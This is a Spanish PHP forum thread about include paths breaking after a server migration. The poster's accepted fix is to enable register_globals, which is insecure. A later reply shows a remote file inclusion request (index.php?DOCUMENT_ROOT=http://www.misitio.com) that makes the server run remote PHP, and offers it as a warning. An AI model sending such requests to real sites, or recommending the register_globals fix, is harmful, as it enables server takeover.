Foros del Web » Programando para Internet » PHP »

Problema con Include y " / "

Estas en el tema de Problema con Include y " / " en el foro de PHP en Foros del Web. Que tal. Resulta que estoy mudando de server, de un RHEL 3 con Cpnel a un REHL 5 tambien con panel. El tema es que ...
  #1 (permalink)  
Antiguo 13/02/2008, 14:12
 
Fecha de Ingreso: enero-2008
Mensajes: 14
Antigüedad: 16 años, 3 meses
Puntos: 0
Problema con Include y " / "

Que tal.
Resulta que estoy mudando de server, de un RHEL 3 con Cpnel a un REHL 5 tambien con panel.
El tema es que tengo muchos sitios con inludes de esta manera:
<?php virtual ("/cgi-bin/in.cgi"); ?>
Y cuando los paso al nuevo server me da este error :

Warning: virtual() [function.virtual]: Unable to include '/cgi-bin/in.cgi' - request execution failed in /home/sitio/public_html/index.php on line 3

Renegando y renegando lo hice funcionar de esta manera:
<?php virtual("cgi-bin/in.cgi"); ?>

Sacando el espacio que habia antes del paréntesis y quitandole el "/"

Estuve mirando en el php.ini y me parece que no se corrije desde ahi, donde puede ser? sino cuando pase todos los sitios voya tener que modificar eso en cada dominio.

Otro include que utilizo y tampoco anda en este servidor es.
$i=include($DOCUMENT_ROOT.'/filtro.php'); if($i!==false)
Para que ande tengo que quitarle el "/" , mientras que en el server viejo es lo contario, si le quito "/" no anda.

El server nuevo tiene PHP 5.2.5
Y el viejo PHP 5.2.4
  #2 (permalink)  
Antiguo 13/02/2008, 17:08
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
Re: Problema con Include y " / "

Cita:
Iniciado por http://php.net/virtual
This function is only supported when PHP is installed as an Apache module.
¿no será que tu servidor tiene PHP instalado como CGI? Solo como comentario, aunque creo que si el problema fuera este ni siquiera podrías llamar a la función.

No conozco mucho la función virtual(), así que no te puedo ayudar mucho

$i=include($DOCUMENT_ROOT.'/filtro.php'); if($i!==false)


Quizás no te funcione por culpa de register_globals, especialmente si el servidor tiene PHP5, que trae esta configuración deshabilitada por defecto.

Usa $_SERVER['DOCUMENT_ROOT']

muy probablemente $DOCUMENT_ROOT en el servidor nuevo esté vacía, entonces terminás pidiendo incluir /filtro.php, que obviamente no existe (ya que / apunta a la raíz del sistema de archivos, no a tu carpeta del sitio). Por eso tenés que eliminar la / y filtro.php termina incluyéndose de la carpeta actual.
Probablemente también en el servidor viejo sí puedas usar las variables globales y por eso funcione.


saludos.
  #3 (permalink)  
Antiguo 13/02/2008, 17:34
 
Fecha de Ingreso: junio-2007
Ubicación: por ahi
Mensajes: 262
Antigüedad: 16 años, 10 meses
Puntos: 4
Re: Problema con Include y " / "

El el php.ini existe un parametro que se llama :

include_path

Se podria verificar , de pronto los errores en la inclusion puedes estar alli
  #4 (permalink)  
Antiguo 13/02/2008, 18:10
 
Fecha de Ingreso: enero-2008
Mensajes: 14
Antigüedad: 16 años, 3 meses
Puntos: 0
Re: Problema con Include y " / "

Cita:
Iniciado por alvlin Ver Mensaje
Quizás no te funcione por culpa de register_globals, especialmente si el servidor tiene PHP5, que trae esta configuración deshabilitada por defecto.
Gracias era eso, lo cambié a On, reinicié y anduvo !!
Me pregunto por que algunos programadores o la mayoria agregarán la " / " si el archivo esta en el mismo directorio. En el otro servidor nunca lo habilite. Se ve que a veces viene habilitado y a veces no, como para complicarnos un poquito el dia


Gracias por las respuestas.
  #5 (permalink)  
Antiguo 14/02/2008, 05:43
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
Re: Problema con Include y " / "

Es que es de hecho un problema de seguridad si no se trata como corresponde.

Al usar register_globals sin comprobar correctamente los datos, te estás haciendo vulnerable a un ataque remoto:
Vos tenés este código:

$i=include($DOCUMENT_ROOT.'/filtro.php'); if($i!==false)

Si tu página es "index.php", basta hacerte una petición como esta:

index.php?DOCUMENT_ROOT=http://www.misitio.com

(por supuesto, codificando correctamente : y /) para que tu programa intente obtener el archivo

http://www.misitio.com/filtro.php

Que como comprenderás, puede contener CUALQUIER cosa. Incluso código PHP que tu servidor ejecutará como si se tratara de código que vos mismo escribiste.

Por eso register_globals viene deshabilitado en las últimas versiones de PHP 4 y 5, y no existirá en PHP6.

Por la seguridad de tus programas, para evitar problemas futuros, programá con register_globals puesto a OFF, y usá $_SERVER['DOCUMENT_ROOT'] y las demás superglobales ($_POST, $_GET, $_COOKIES, $_ENV).


Saludos.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta

SíEste tema le ha gustado a 1 personas




La zona horaria es GMT -6. Ahora son las 10:19.